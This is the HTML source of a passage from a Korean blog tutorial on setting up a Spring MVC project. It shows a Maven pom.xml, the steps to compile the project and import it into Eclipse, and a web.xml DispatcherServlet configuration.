&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;?xml&amp;nbsp;version=&quot;1.0&quot;&amp;nbsp;encoding=&quot;UTF-8&quot;?&amp;gt; &lt;br /&gt;&amp;lt;project&amp;nbsp;xmlns=&quot;&lt;a href=&quot;http://maven.apache.org/POM/4.0.0&amp;quot;&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://maven.apache.org/POM/4.0.0&quot;&lt;/a&gt; &lt;br /&gt;xmlns:xsi=&quot;&lt;a href=&quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/a&gt; &lt;br /&gt;xsi:schemaLocation=&quot;&lt;a href=&quot;http://maven.apache.org/POM/4.0.0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://maven.apache.org/POM/4.0.0&lt;/a&gt; &lt;br /&gt;&lt;a href=&quot;http://maven.apache.org/xsd/maven-4.0.0.xsd&amp;quot;&amp;gt;&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&amp;gt;&lt;/a&gt; &lt;br /&gt;&amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;springtest&amp;lt;/groupId&amp;gt;&lt;span style=&quot;background-color: #fafafa;&quot;&gt;&amp;lt;!--그룹 이름--&amp;gt;&lt;/span&gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;mvctest&amp;lt;/artifactId&amp;gt;&amp;lt;!--프로젝트&amp;nbsp;이름--&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;packaging&amp;gt;war&amp;lt;/packaging&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;dependencies&amp;gt; &lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;javax.servlet&amp;lt;/groupId&amp;gt;&amp;lt;!--서블릿&amp;nbsp;추가--&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;javax.servlet-api&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;javax.servlet.jsp&amp;lt;/groupId&amp;gt;&amp;lt;!--JSP&amp;nbsp;추가--&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;javax.servlet.jsp-api&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;2.3.2-b02&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;javax.servlet&amp;lt;/groupId&amp;gt;&amp;lt;!--컨트롤러&amp;nbsp;api&amp;nbsp;추가--&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;jstl&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;1.2&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;&amp;lt;!--mvc&amp;nbsp;작용&amp;nbsp;추가--&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;spring-webmvc&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;5.0.2.RELEASE&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;&amp;lt;!--DB연동&amp;nbsp;사용&amp;nbsp;추가--&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;spring-jdbc&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;5.0.2.RELEASE&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;org.apache.tomcat&amp;lt;/groupId&amp;gt;&amp;lt;!--&lt;span style=&quot;background-color: #fafafa;&quot;&gt;DB연동 사용 추가2&lt;/span&gt;--&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;tomcat-jdbc&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;8.5.27&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;&amp;lt;!--Spring&amp;nbsp;모듈1--&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;spring-context&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;5.0.2.RELEASE&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;&amp;lt;!--Spring&amp;nbsp;모듈2--&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;spring-test&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;5.0.2.RELEASE&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt; &lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;&amp;lt;!--Spring&amp;nbsp;모듈3--&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;spring-core&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;5.0.2.RELEASE&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt;&amp;lt;!--test&amp;nbsp;모듈--&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;4.13.2&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&amp;lt;dependency&amp;gt; &lt;br /&gt;&amp;lt;groupId&amp;gt;org.aspectj&amp;lt;/groupId&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;aspectjweaver&amp;lt;/artifactId&amp;gt;&amp;lt;!--AOP--&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;1.8.14&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;/dependency&amp;gt; &lt;br /&gt;&amp;lt;/dependencies&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;build&amp;gt; &lt;br /&gt;&amp;lt;plugins&amp;gt; &lt;br /&gt;&amp;lt;plugin&amp;gt; &lt;br /&gt;&amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt; &lt;br /&gt;&amp;lt;version&amp;gt;3.7.0&amp;lt;/version&amp;gt; &lt;br /&gt;&amp;lt;configuration&amp;gt; &lt;br /&gt;&amp;lt;source&amp;gt;1.8&amp;lt;/source&amp;gt; &lt;br /&gt;&amp;lt;target&amp;gt;1.8&amp;lt;/target&amp;gt; &lt;br /&gt;&amp;lt;encoding&amp;gt;utf-8&amp;lt;/encoding&amp;gt; &lt;br /&gt;&amp;lt;/configuration&amp;gt; &lt;br /&gt;&amp;lt;/plugin&amp;gt; &lt;br /&gt;&amp;lt;/plugins&amp;gt; &lt;br /&gt;&amp;lt;/build&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;/project&amp;gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSqScb/btrRZOnAMyt/nYk2ZUSdC8dH2NJpmYkwB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSqScb/btrRZOnAMyt/nYk2ZUSdC8dH2NJpmYkwB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSqScb/btrRZOnAMyt/nYk2ZUSdC8dH2NJpmYkwB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSqScb%2FbtrRZOnAMyt%2FnYk2ZUSdC8dH2NJpmYkwB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;861&quot; height=&quot;600&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성하신 pom을 프로젝트에 가장 밖에 넣어주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(선택사항)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 spring-project 파일을 c: \ workspace 안에 넣어두겠습니다. (eclipse IDE 프로젝트경로)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4.maven으로 작성한 의존들을 설치하기&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 과정은 위의 maven 설치 및 환경변수 설정을 잘 따라왔을 때 실행 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bef4P9/btrR1pVo67f/xSVqkbEB0uvUzAr1J4fjqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bef4P9/btrR1pVo67f/xSVqkbEB0uvUzAr1J4fjqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bef4P9/btrR1pVo67f/xSVqkbEB0uvUzAr1J4fjqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbef4P9%2FbtrR1pVo67f%2FxSVqkbEB0uvUzAr1J4fjqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;640&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cmd 를 열고 자신의 프로젝트 내부로 들어가 줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성자는 프로젝트 파일을 c드라이브의 workspace 폴더 안에 넣어 놨었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ffffff; background-color: #000000;&quot;&gt;cd c:\workspace\spring-project&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 의존들을 설치하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;mvn compile&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MokoO/btrR4xYRQBy/WnkKiBp4Jp33ATk7rQCBhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MokoO/btrR4xYRQBy/WnkKiBp4Jp33ATk7rQCBhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MokoO/btrR4xYRQBy/WnkKiBp4Jp33ATk7rQCBhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMokoO%2FbtrR4xYRQBy%2FWnkKiBp4Jp33ATk7rQCBhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;512&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무사히 의존 설치가 완료되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;5.Eclipse에 이식하기&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;511&quot; data-origin-height=&quot;543&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOfm6p/btrR2wNwhON/xKevjiZ99LkzS5yVrwmVrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOfm6p/btrR2wNwhON/xKevjiZ99LkzS5yVrwmVrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOfm6p/btrR2wNwhON/xKevjiZ99LkzS5yVrwmVrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOfm6p%2FbtrR2wNwhON%2FxKevjiZ99LkzS5yVrwmVrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;511&quot; height=&quot;543&quot; data-origin-width=&quot;511&quot; data-origin-height=&quot;543&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;File - import - Existing Maven Projects&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;619&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWVmZX/btrR2IAcnKr/DaqvnX3GW250ZWQZSz7lwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWVmZX/btrR2IAcnKr/DaqvnX3GW250ZWQZSz7lwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWVmZX/btrR2IAcnKr/DaqvnX3GW250ZWQZSz7lwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWVmZX%2FbtrR2IAcnKr%2FDaqvnX3GW250ZWQZSz7lwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;619&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;619&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Finish 버튼을 누르면 Eclipse 이식이 완료됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 war를 인식 못하고 x 표시가 난 상태로 인식됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;오류수정.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;644&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ce8uTz/btrR3dGLbjL/dojvTShWWlVPOItKwGFoc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ce8uTz/btrR3dGLbjL/dojvTShWWlVPOItKwGFoc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ce8uTz/btrR3dGLbjL/dojvTShWWlVPOItKwGFoc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fce8uTz%2FbtrR3dGLbjL%2FdojvTShWWlVPOItKwGFoc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;644&quot; data-filename=&quot;오류수정.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;644&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 우클릭 - java EE Tools - Generate 를 클릭하면 해결됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;&lt;b&gt;6.MVC 기본 틀 구성하기 (선택사항)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기부터 자신이 알고 있는 Spring 지식들로 기본 구성을 이루면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코딩의 영역이지만 최소한의 필요한 영역만 구축해봅시다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;1.webapp - WEB-INF - web.xml에 서블릿 태그를 추가합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWbVSL/btrR5gvPWay/Q9jdXbbhC7ctkZkyUJgug0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWbVSL/btrR5gvPWay/Q9jdXbbhC7ctkZkyUJgug0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWbVSL/btrR5gvPWay/Q9jdXbbhC7ctkZkyUJgug0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWbVSL%2FbtrR5gvPWay%2FQ9jdXbbhC7ctkZkyUJgug0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1106&quot; height=&quot;758&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;servlet&amp;gt; &lt;br /&gt;&amp;lt;servlet-name&amp;gt;dispatcher&amp;lt;/servlet-name&amp;gt; &lt;br /&gt;&amp;lt;servlet-class&amp;gt;org.springframework.web.servlet.DispatcherServlet&amp;lt;/servlet-class&amp;gt; &lt;br /&gt;&amp;lt;init-param&amp;gt; &lt;br /&gt;&amp;lt;param-name&amp;gt;contextClass&amp;lt;/param-name&amp;gt; &lt;br /&gt;&amp;lt;param-value&amp;gt;org.springframework.web.context.support.AnnotationConfigWebApplicationContext&amp;lt;/param-value&amp;gt; &lt;br /&gt;&amp;lt;/init-param&amp;gt; &lt;br /&gt;&amp;lt;init-param&amp;gt; &lt;br /&gt;&amp;lt;param-name&amp;gt;contextConfigLocation&amp;lt;/param-name&amp;gt; &lt;br /&gt;&amp;lt;param-value&amp;gt; &lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;config.MvcConfiguration &lt;span style=&quot;color: #009a87;&quot;&gt;&amp;lt;!--임의의 java의 패키지.클래스--&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;/param-value&amp;gt; &lt;br /&gt;&amp;lt;/init-param&amp;gt; &lt;br /&gt;&amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt; &lt;br /&gt;&amp;lt;/servlet&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;servlet-mapping&amp;gt; &lt;br /&gt;&amp;lt;servlet-name&amp;gt;dispatcher&amp;lt;/servlet-name&amp;gt; &lt;br /&gt;&amp;lt;url-pattern&amp;gt;/&amp;lt;/url-pattern&amp;gt; &lt;br /&gt;&amp;lt;/servlet-mapping&amp;gt; &lt;br /&gt;&amp;lt;filter&amp;gt; &lt;br /&gt;&amp;lt;filter-name&amp;gt;encodingFilter&amp;lt;/filter-name&amp;gt; &lt;br /&gt;&amp;lt;filter-class&amp;gt;org.springframework.web.filter.CharacterEncodingFilter&amp;lt;/filter-class&amp;gt; &lt;br /&gt;&amp;lt;init-param&amp;gt; &lt;br /&gt;&amp;lt;param-name&amp;gt;encoding&amp;lt;/param-name&amp;gt; &lt;br /&gt;&amp;lt;param-value&amp;gt;UTF-8&amp;lt;/param-value&amp;gt; &lt;br /&gt;&amp;lt;/init-param&amp;gt; &lt;br /&gt;&amp;lt;/filter&amp;gt; &lt;br /&gt;&amp;lt;filter-mapping&amp;gt; &lt;br /&gt;&amp;lt;filter-name&amp;gt;encodingFilter&amp;lt;/filter-name&amp;gt; &lt;br /&gt;&amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt; &lt;br /&gt;&amp;lt;/filter-mapping&amp;gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;2.src/main/java에 config 패키지를 만들고 Configuration 과 Controller 와 Vaildator를 추가합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;※ 물론 xml 로 처리하셔도 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;이클립스&lt;/span&gt;의 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;ctrl + shift + o&lt;/span&gt; 를 눌러서 일괄 임포트가 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;ctrl + shift + f&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 눌러서 일괄 줄 정리가 가능합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MvcConfiguration.java&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Configuration&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@EnableWebMvc&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;//@ImportResource({&quot;classpath:/config/configuration.xml&quot;})&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public class&lt;/span&gt; MvcConfiguration implements WebMvcConfigurer{&lt;/p&gt;
